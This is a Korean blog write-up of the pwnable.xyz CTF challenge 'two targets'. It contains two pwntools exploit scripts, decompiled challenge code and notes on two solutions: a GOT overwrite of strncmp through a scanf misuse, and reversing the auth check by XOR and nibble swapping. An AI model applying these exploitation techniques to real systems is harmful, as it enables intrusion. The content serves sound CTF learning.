security/포너블 - pwnable.xyz

pwnable.xyz - two targets

민사민서 2023. 2. 5. 01:19
from pwn import *
p = remote("svc.pwnable.xyz", 30031)

printf_got = 0x603038 # overwrite 시점에 이미 사용된 함수 (printf,scanf,atoi,read)
puts_got = 0x603020 # \x20 = space, scanf 함수는 공백/줄바꿈 만나면 입력 멈춤
strncmp_got = 0x603018
win = 0x40099c

p.sendafter("> ", "2")
# 문자 입력하는 것이므로 little endian 형식으로 주어야함
# 배열 앞에서부터 한바이트씩 채워짐
p.sendafter("nationality: ", b'A'*0x10+p64(strncmp_got))

p.sendafter("> ", "3")
p.sendlineafter("age: ", str(int(win)))

p.sendafter("> ", "4") # auth() 호출함으로써 결과적으로 strncmp() 호출되게
p.interactive()
from pwn import *
p = remote("svc.pwnable.xyz", 30031)

# x/32bx 0x400b04 (p main 해서 주소 파악)
main_bytes = "0x55 0x48   0x89   0xe5   0x48   0x83   0xec   0x50".split()
main_bytes += "0x64    0x48   0x8b   0x04   0x25   0x28   0x00   0x00".split()
main_bytes += "0x00    0x48   0x89   0x45   0xf8   0x31   0xc0   0xe8".split()
main_bytes += "0x24    0xfe   0xff   0xff   0x48   0x8d   0x45   0xc0".split()
# x/32bx 0x301d28 (disas auth에서 주소 파악)
s1 = "0x11 0xde   0xcf   0x10   0xdf   0x75   0xbb   0xa5".split()
s1 += "0x43    0x1e   0x9d   0xc2   0xe3   0xbf   0xf5   0xd6".split()
s1 += "0x96    0x7f   0xbe   0xb0   0xbf   0xb7   0x96   0x1d".split()
s1 += "0xa8    0xbb   0x0a   0xd9   0xbf   0xc9   0x0d   0xff".split()
# 우리가 구하는 정답
s=['\x00']*0x20

# s1[i] = ((s[i]//16) | (16*s[i]))^main_bytes[i]
# s1[i]^main_bytes[i] = s[i]>>4 | s[i]<<4
# s[i]<<4에서 1바이트 넘어가는건 그대로 없어진다
# 좌변의 상위 4Byte는 s[i]의 하위 4Byte, 하위 4Byte는 s[i]의 상위 4Byte

for i in range(32):
    tmp=int(s1[i],16)^int(main_bytes[i],16)
    # (tmp>>4) | ((tmp<<4)&0xff)
    s[i] = chr((tmp//16)+(tmp%16)*16)

p.recvuntil("> ")
p.send("1")
p.send(''.join(s))

p.recvuntil("> ")
p.send("4")

p.interactive()

 

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int int32; // eax
  char s[32]; // [rsp+10h] [rbp-40h] BYREF
  _QWORD v5[4]; // [rsp+30h] [rbp-20h] BYREF

  v5[3] = __readfsqword(0x28u);
  setup(argc, argv, envp);
// rbp-0x40 부터 0x38만큼 0으로 초기화 = s와 v5[0~2] 0으로 초기화
  memset(s, 0, 0x38uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      int32 = read_int32();
      if ( int32 != 2 )
        break;
      printf("nationality: ");
// v5에 문자열 채우고 남은 칸(~23까지)은 0으로 채운다
      __isoc99_scanf("%24s", v5);
    }
    if ( int32 > 2 )
    {
      if ( int32 == 3 )
      {
        printf("age: ");
        __isoc99_scanf("%d", v5[2]);
      }
      else if ( int32 == 4 )
      {
        if ( (unsigned __int8)auth(s) )
          win();
      }
      else
      {
LABEL_14:
        puts("Invalid");
      }
    }
    else
    {
      if ( int32 != 1 )
        goto LABEL_14;
      printf("name: ");
// s에 문자열 채우고 남은 칸(~31까지)은 0으로 채운다
      __isoc99_scanf("%32s", s);
    }
  }
}
int print_menu()
{
  return printf("Menu:\n  1. Change name.\n  2. Change nationality.\n  3. Change age.\n  4. Get shell.\n> ");
}
int read_int32()
{
  __int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF

  buf[3] = __readfsqword(0x28u);
  buf[0] = 0LL;
  buf[1] = 0LL;
// 최대 16자릿수 int 입력가능 
  read(0, buf, 0x10uLL);
  return atoi((const char *)buf);
}
_BOOL8 __fastcall auth(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-38h]
  char s1[8]; // [rsp+20h] [rbp-30h] BYREF
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *(_QWORD *)s1 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  for ( i = 0; (unsigned int)i <= 0x1F; ++i )
// *(_BYTE *)(a1 + i)는 인자로 건네준 s의 i번째 index, 즉 s[i]
// *((_BYTE *)main + i) 는 main 시작(0x400B04)부터 i번째 바이트의 값: 55 48 89 E5  48 83 EC 50 순서
// s1[i] = ((s[i]//16) | (s[i]*16)) ^ main[i] => s1[i]^main[i] = s[i]//16 | s[i]*16
    s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | (16 * *(_BYTE *)(a1 + i))) ^ *((_BYTE *)main + i);
// s1에 저장된 문자열과 0x401D28 주소의 문자열의 첫 32자가 같은지 여부 리턴 
  return strncmp(s1, &s2, 0x20uLL) == 0;
}

<두 가지 방식이 있네>
Partial RELRO   Canary found      NX enabled    No PIE
1. scanf의 잘못된 사용 공략 
* v5는 배열의 시작주소를 나타내고, v5[2]는 배열의 세번째 element 값을 나타냄 
__isoc99_scanf("%24s", v5); 에서 v5[0],v5[1],v5[2] 채우고
__isoc99_scanf("%d", v5[2]); 에서 v5[2]에 저장된 주소에 특정 정수값을 저장할 수 있다

* GOT overwrite 하기전 이미 실행된 함수는 got에 실제 주소값이 매핑되어있으므로 사용할 수 없다
why? "%ld"가 아니라 "%d"이므로 4바이트를 입력받을 수 있는데 (리눅스에서 long=8B, int=4B / 윈도우에선 long도 4B)
실제 주솟값이 매핑되면 0x7f~ 가 들어가므로 4Byte 덮어쓰더라도 앞 2Byte가 남아있어 제대로 동작 x
* overwrite를 진행하는 시점에 사용되지 않은 함수를 사용해야 함 (puts, strncmp 정도가 있는데 puts는 공백 바이트 포함)


2. 정직하게 auth(s)의 리턴값이 true가 되도록 입력값 s를 줌
s1[i] = ((x>>4) | (x<<4)) ^ main[i] 이므로 양변에 xor 곱해주면
s1[i] ^ main[i] = x>>4 || x<<4  (x의 상위 4B, 하위 4B swap, 1byte 넘어가는 부분은 날아감)


 

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - free spirit  (0) 2023.02.05
pwnable.xyz - xor  (0) 2023.02.05
pwnable.xyz - note  (0) 2023.02.05
pwnable.xyz - grownup  (0) 2023.02.05
pwnable.xyz - misalignment  (0) 2023.02.05